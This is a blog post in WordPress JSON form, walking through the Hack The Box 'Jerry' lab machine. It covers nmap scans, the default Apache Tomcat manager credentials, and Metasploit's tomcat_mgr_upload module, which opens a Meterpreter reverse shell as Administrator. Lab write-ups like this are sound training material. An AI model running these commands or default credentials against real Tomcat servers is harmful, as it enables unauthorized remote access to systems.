{"id":334,"date":"2023-04-30T15:56:15","date_gmt":"2023-04-30T20:56:15","guid":{"rendered":"https:\/\/binaryblisters.com\/?p=334"},"modified":"2023-04-30T15:56:15","modified_gmt":"2023-04-30T20:56:15","slug":"hack-the-box-jerry-walkthrough","status":"publish","type":"post","link":"https:\/\/binaryblisters.com\/?p=334","title":{"rendered":"Hack The Box – Jerry Walkthrough"},"content":{"rendered":"\n

I’m really excited about this one because it was the first HTB machine I didn’t look up any hints or other walkthroughs. This was surprising to me because, after the first NMAP scan, I thought I was going to immediately go to a walkthrough for it. But I didn’t.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

As always, here is a link to my original notes<\/a> if you want to see my methodology and madness.<\/p>\n\n\n\n

Let’s get started.<\/p>\n\n\n\n

The first step I take in any machine is to ensure I’m actually connected to the VPN by just running a ping test to the target machine. Feel free to skip this but I’ve wasted time before thinking I was connected just to find out I wasn’t. Your call.<\/p>\n\n\n\n

ping [Target IP]<\/code><\/pre>\n\n\n\n
After confirming that we are connected let’s get started for real this time.<\/p>\n\n\n\n
Recon<\/h2>\n\n\n\n
In the case of this machine, I will go ahead and use the tried and true tool, NMAP.<\/p>\n\n\n\n
nmap [Target IP]<\/code><\/pre>\n\n\n\n
Right off the bat, it looks like ping scans are blocked so we’ll add another flag to get the scan working.<\/p>\n\n\n\n
nmap -Pn [Target IP]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
I went ahead and ran a full NMAP scan as well to see if any non-typical ports will be open with the -p-<\/strong> flag. This didn’t give us any other ports open.<\/p>\n\n\n\n
Let’s do a more detailed scan on Port 8080<\/strong> since it is open.<\/p>\n\n\n\n
nmap -Pn -A -p 8080 [Target IP]<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
This has given us quite a bit of information but let’s jump over to a browser for some further information gathering. <\/p>\n\n\n\n
http:\/\/[Target IP]:8080<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It looks like we have a default web server set up with Apache Tomcat. This is a good sign that everything else will be set to defaults meaning we may be able to find some easy exploits.<\/p>\n\n\n\n
Jumping around to other tabs gives us a lot of good information. Mainly the manager tabs.<\/p>\n\n\n\n
Enumeration<\/h2>\n\n\n\n
I went ahead and ran a Gobuster scan to see what other directories were available. You don’t have to do this as you should be able to access most of them straight from the home page.<\/p>\n\n\n\n
I went to the Host Manager Tab.<\/p>\n\n\n
\n
\"\"<\/figure><\/div>\n\n\n
It looks like we are asked for a username and password.<\/p>\n\n\n\n
We have a few options here. I started by doing some Googling to see if there are default credentials I could use. However, we could also use a Metasploit Auxillary tool to brute force some login credentials.<\/p>\n\n\n\n
If you browse around on Google it is not that hard to find some credentials. In this case, the one that finally worked for me, I found after trying too many times and being given a Access Denied<\/strong> page. On the page it gives you some credentials that actually work.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
tomcat:s3cret<\/code><\/pre>\n\n\n\n
With this information we can now login to the Manager<\/strong> directory.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
There is a lot of good info here. If you want to see everywhere I went, feel free to check out the link above to my original notes.<\/p>\n\n\n\n
Let’s jump to what finally got me to the flags.<\/p>\n\n\n\n
Exploitation<\/h2>\n\n\n\n
I ran Apache Tomcat version 7.0.88<\/strong> through Google first to see what was available. This is a pretty old version of Tomcat and Google comes back with a lot of different exploit options.<\/p>\n\n\n\n
I decided to boot up Metasploit and see what we can get done.<\/p>\n\n\n\n
msfconsole\nsearch tomcat<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We have a lot of possible options. Including the Auxillary tool (27) that can be used to brute force credentials.<\/p>\n\n\n\n
The one I finally got to work is the multi\/http\/tomcat_mgr_upload<\/strong> (7).<\/p>\n\n\n\n
use multi\/http\/tomcat_mgr_upload\nshow options<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
I have already inputted values as shown above but make sure you input the needed options.<\/p>\n\n\n\n
set HttpPassword s3cret\nset HttpUsername tomcat\nset RHOSTS [Target IP]\nset RPORT 8080\nset LHOST [Host IP]\nexploit<\/code><\/pre>\n\n\n\n
If everything goes right, you should quickly gain a Meterpreter session to the target system. You can confirm this by running pwd<\/strong>.<\/p>\n\n\n
\n
\"\"<\/figure><\/div>\n\n\n
You can run the following to get a regular shell connection to the system.<\/p>\n\n\n\n
shell<\/code><\/pre>\n\n\n\n
You should now be the Administrator<\/strong> of the system. I had to browse around for the flags but found them pretty quickly in the Administrator<\/strong>‘s directory.<\/p>\n\n\n\n
cd C:\\Users\\Administrator\\Desktop\\flags\ntype \"2 for the price of 1.txt\"<\/code><\/pre>\n\n\n\n
And there you should have it. As usual, I won’t actually give you the answer as you’ll have to do it yourself but if you follow this it should be relatively easy.<\/p>\n\n\n\n
<\/h2>\n\n\n\n
This machine was a great confidence booster in my abilities and is making me look forward to the next one. The HTB machines have really been kicking my butt this was the first one that I could exercise some of the knowledge that I’ve been gaining.<\/p>\n\n\n\n
Hopefully, this guide will help you out, let me know if you have any questions or concerns.<\/p>\n\n\n\n
As always, thanks for reading and catch you all later.<\/p>\n\n\n\n
-sgtdiddlywink<\/p>\n","protected":false},"excerpt":{"rendered":"
I’m really excited about this one because it was the first HTB machine I didn’t look up any hints or other walkthroughs. This was surprising to me because, after the first NMAP scan, I thought I was going to immediately go to a walkthrough for it. But I didn’t. As always, here is a link […]<\/p>\n","protected":false},"author":1,"featured_media":346,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[48,79],"tags":[98,63,82,80,96,64,97],"class_list":["post-334","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","category-htb","tag-apache","tag-gobuster","tag-hack-the-box","tag-htb","tag-metasploit","tag-nmap","tag-tomcat"],"_links":{"self":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=334"}],"version-history":[{"count":1,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334\/revisions"}],"predecessor-version":[{"id":347,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334\/revisions\/347"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/media\/346"}],"wp:attachment":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}